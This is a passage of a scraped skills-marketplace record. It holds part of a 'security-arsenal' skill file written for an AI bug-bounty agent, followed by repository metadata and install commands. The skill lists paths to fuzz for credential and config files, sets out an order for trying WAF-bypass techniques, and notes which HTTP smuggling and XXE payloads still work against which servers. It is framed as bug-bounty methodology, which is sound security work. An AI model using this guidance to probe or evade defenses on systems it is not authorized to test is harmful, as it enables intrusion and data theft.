client_secret in mobile app (disclosed, expected)\nSSRF with DNS callback only (no internal service access)\nHost header injection alone (no password reset poisoning PoC)\nRate limit on non-critical forms (login page Cloudflare, search, contact)\nSession not invalidated on logout\nConcurrent sessions allowed\nInternal IP address in error message\nMixed content (HTTP resources on HTTPS page)\nSSL weak cipher suites\nMissing HttpOnly \u002F Secure cookie flags alone\nBroken external links\nPre-account takeover (usually — requires very specific conditions)\nAutocomplete on password fields\n```\n\n---\n\n## CONDITIONALLY VALID — REQUIRES CHAIN\n\nThese are valid ONLY when combined with a chain that proves real impact:\n\n| Standalone Finding | Chain Required | Result if Chained |\n|---|---|---|\n| Open redirect | + OAuth code theft via redirect_uri abuse | ATO (Critical) |\n| Clickjacking | + sensitive action + working PoC (not just login) | Medium |\n| CORS wildcard | + credentialed request exfils user data | High |\n| CSRF | + sensitive action (transfer funds, change email) | High |\n| Rate limit bypass | + OTP\u002Ftoken brute force succeeding | Medium\u002FHigh |\n| SSRF DNS-only | + internal service access + data retrieval | Medium |\n| Host header injection | + password reset email uses it | High |\n| Prompt injection | + reads other user's data (IDOR) OR exfil OR RCE | High |\n| S3 bucket listing | + JS bundles with API keys\u002FOAuth secrets | Medium\u002FHigh |\n| Self-XSS | + CSRF to trigger it on victim | Medium |\n| Subdomain takeover | + OAuth redirect_uri registered at that subdomain | Critical |\n| GraphQL introspection | + auth bypass mutation or IDOR on node() | High |\n\n**Rule:** Build the chain first, confirm it works end-to-end, THEN report. Never report A and say \"could chain with B\" — prove it.\n\n---\n\n## WORDLISTS (Installed in ~\u002Fwordlists\u002F)\n\n```\ncommon.txt         # Common directories and files\nparams.txt         # Parameter names (id, user_id, file, etc.)\napi-endpoints.txt  # API endpoint paths (\u002Fapi\u002Fv1\u002Fusers, etc.)\ndirs.txt           # Directory names\nsensitive.txt      # Sensitive paths (.env, config.json, backup, etc.)\n```\n\n### Built-in Paths Worth Fuzzing\n\n```bash\n# Sensitive files\n\u002F.env\n\u002F.git\u002Fconfig\n\u002Fconfig.json\n\u002Fcredentials.json\n\u002Fbackup.sql\n\u002Fdump.sql\n\u002F.DS_Store\n\u002Frobots.txt\n\u002Fsitemap.xml\n\u002F.well-known\u002Fsecurity.txt\n\n# Admin panels\n\u002Fadmin\n\u002Fadmin\u002Flogin\n\u002Fadministrator\n\u002Fwp-admin\n\u002Fmanager\n\u002Fconsole\n\u002Fdashboard\n\u002Fpanel\n\n# API discovery\n\u002Fapi\n\u002Fapi\u002Fv1\n\u002Fapi\u002Fv2\n\u002Fgraphql\n\u002Fgraphiql\n\u002Fswagger\n\u002Fswagger-ui.html\n\u002Fapi-docs\n\u002Fopenapi.json\n\u002Fv1\n\u002Fv2\n```\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-xss`** \u002F **`hunt-ssrf`** \u002F **`hunt-sqli`** \u002F **`hunt-ssti`** \u002F **`hunt-idor`** — When a hunter is actively testing a parameter and needs payloads. Workflow primitive: this skill is the payload library those hunt-* skills reach for; the hunt-* skill identifies the sink, this skill provides the syntax.\n- **`triage-validation`** — When deciding if a finding is reportable at all. Workflow primitive: the \"Always Rejected\" and \"Conditionally Valid — Requires Chain\" tables in both skills must agree; `triage-validation` runs the 7-Question Gate, this skill provides the chain-required mapping used by Q7.\n- **`web2-recon`** — When the URL set has been classified by `gf` patterns. Workflow primitive: `gf xss\u002Fssrf\u002Fsqli` outputs from recon → look up the corresponding payload section here; `gf` pattern names index directly into this skill's payload sections.\n- **`evidence-hygiene`** — When a payload produces output worth screenshotting. Workflow primitive: after a payload demonstrates impact (cookie theft, data exfil), hand off to `evidence-hygiene` for redaction before the screenshot becomes evidence.\n- **`bb-methodology`** — When Phase 3 (Discovery) routes by input type. Workflow primitive: Phase 3's decision flow (\"ID param → IDOR checklist\", \"URL input → SSRF checklist\") names which section of this arsenal to load.\n\n---\n\n## Operator Notes (Claude-BugHunter)\n\n> Engagement-derived + 2026-specific additions to the vendored foundation.\n> Wisdom from real authorized engagements + Phase 2 verification across\n> this repo's 31+ skill-area live tests. The upstream payload library\n> covers the WHAT; this layer covers the WHEN-IT-WORKS-vs-WHEN-IT-DOESN'T.\n\n### Payload freshness — what's gone stale by 2026\n\nThe classic CL.TE \u002F TE.CL HTTP smuggling payloads no longer work against Nginx ≥ 1.21, Caddy 2.x, Envoy ≥ 1.20 (verified in Phase 2H). They DO still work against HAProxy ≤ 2.4, older F5 BIG-IP, Citrix ADC, AWS ALB-specific configs, and Apache Traffic Server. Fingerprint the front-end first — `curl -sI` → `Server:` header + `Via:` chain + TLS JA3 — before burning hours on payloads that the parser already rejects at the front door.\n\nSame story for XXE classic — Python lxml ≥ 5.x silently drops SYSTEM entities by default (Phase 2G finding). The payloads remain valid against: Java SAX, PHP DOMDocument with LIBXML_NOENT, .NET XmlDocument with XmlResolver still wired, older lxml (\u003C 5.0), Ruby Nokogiri with DTDLOAD, and a long tail of embedded XML processors (SOAP libraries, SAML implementations, Office document parsers). The payload library still ships these — the operator decision is whether the target's parser is in the still-vulnerable set.\n\nOther stale-by-default-but-not-everywhere payloads as of 2026: `javascript:` URLs in `\u003Ca href>` (Chrome blocks unless explicit user gesture; works in embedded WebViews, Electron, older Edge); `data:text\u002Fhtml` for top-level navigation (modern browsers strip in nav contexts); CRLF injection in `Location:` (most reverse proxies normalize). Always test in the actual target environment, not in a generic browser.\n\n### WAF evaluation order matters\n\nWhen multiple bypass payloads exist for the same WAF, the order to try is:\n\n1. **Encoding tricks** — case variation (`SeLeCt`), URL-encode once, URL-encode twice, Unicode escape (`\u003C`), HTML-entity (`&#x3c;`), UTF-8 overlong sequences.\n2. **Parser quirks** — XML namespace, JSON `\\u` escapes mid-keyword, `Content-Type: application\u002Fjson` vs `application\u002Fx-www-form-urlencoded` parser-confusion, multipart boundary tricks.\n3. **Protocol-level** — HTTP\u002F2 vs HTTP\u002F1.1 (some WAFs only inspect one), Host header injection, `X-Original-URL`, `X-Forwarded-*` smuggling.\n4. **WAF rule-specific bypasses** — Cloudflare, AWS WAF, Akamai, Imperva, F5 ASM each have known signature gaps; load the vendor-specific payload subsection.\n\nMost engagements end at step 2 — modern WAFs trip on the parser-quirk class because the WAF and the origin app disagree on what's a \"valid\" request.\n\n### OOB-Or-It-Didn't-Happen Gate applies everywhere\n\nEvery blind primitive (blind SQLi, blind XSS, blind SSRF, blind RCE, blind XXE) needs OOB confirmation. Without it, you can't tell the bug from a parser-error log. Phase 2D's hardened lab proved the gate kills FPs that look identical to real bugs at the surface — error messages with `you have an error in your SQL syntax` text in a 500 page can be parser logs from a different request entirely, hit a Burp Collaborator domain (or interactsh) and confirm callback before filing.\n\nOOB callback infrastructure ranking by 2026: (1) Burp Collaborator (Pro license; cleanest), (2) interactsh-client (open source; comparable), (3) DNSLog.cn (free but logged by third party — never use for paid engagements), (4) self-hosted catch-all DNS + HTTP listener (most reliable for long-running engagements).\n\n### Marker discipline\n\nGeneric words appear naturally in target content. A search for `javascript` hitting \"JavaScript Tutorial\" is not reflection — it's keyword overlap. Use unique random strings:\n\n```\nm=$(head -c 12 \u002Fdev\u002Furandom | base64 | tr -d '+\u002F=' | head -c 12)\n# now m is like \"K7gXq2pNRm1z\" — search for THIS in the response\ncurl \"https:\u002F\u002Ftarget\u002Fsearch?q=${m}\" | grep -c \"$m\"\n```\n\nIf the marker appears in the response, you have reflection. If it appears unescaped in HTML context, you have XSS potential. If it appears in a Location header, redirect. If it appears in a SQL error, injection. The marker is the single source of truth — generic keywords lie.\n\n### Statistical Sampling for noisy oracles\n\nSingle-trial timing differentials are noise. Require n≥10 interleaved trials, Welch's t-statistic > 3, or equivalent confidence-interval separation. Phase 2D verified this against a deliberately-noisy timing oracle: single trial showed 129ms delta (which would have been filed); n=10 showed mean 78ms vs 191ms with t=5.26 (real, well-supported).\n\nSkeleton for timing-side-channel validation:\n\n```python\nimport statistics\ndef welch_t(a, b):\n    ma, mb = statistics.mean(a), statistics.mean(b)\n    va, vb = statistics.variance(a), statistics.variance(b)\n    return (ma - mb) \u002F ((va\u002Flen(a) + vb\u002Flen(b)) ** 0.5)\n# interleave control + test trials, n=10 each, t > 3 = signal\n```\n\nSame rule applies to blind boolean oracles where the diff is response-length or status-code under jitter — sample, don't assume.\n",{"name":5,"sources":24,"description":7},"community, public_research","main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fsecurity-arsenal",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":34,"prompt":44,"zipAvailable":45},[35,38,41],{"tool":36,"command":37},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill security-arsenal",{"tool":39,"command":40},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill security-arsenal",{"tool":42,"command":43},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill security-arsenal","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fsecurity-arsenal\u002FSKILL.md",true,[],[48,56,61,68,75,82],{"skillNo":49,"name":50,"nameZh":6,"description":51,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":52,"categories":53,"keywords":54,"publishedAt":55},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":57,"name":50,"nameZh":6,"description":51,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":58,"categories":59,"keywords":60,"publishedAt":55},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":62,"name":63,"nameZh":6,"description":64,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":65,"categories":66,"keywords":67,"publishedAt":55},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":69,"name":70,"nameZh":6,"description":71,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":72,"categories":73,"keywords":74,"publishedAt":55},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":76,"name":77,"nameZh":6,"description":78,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":81,"publishedAt":55},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":83,"name":84,"nameZh":6,"description":85,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":86,"categories":87,"keywords":88,"publishedAt":55},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]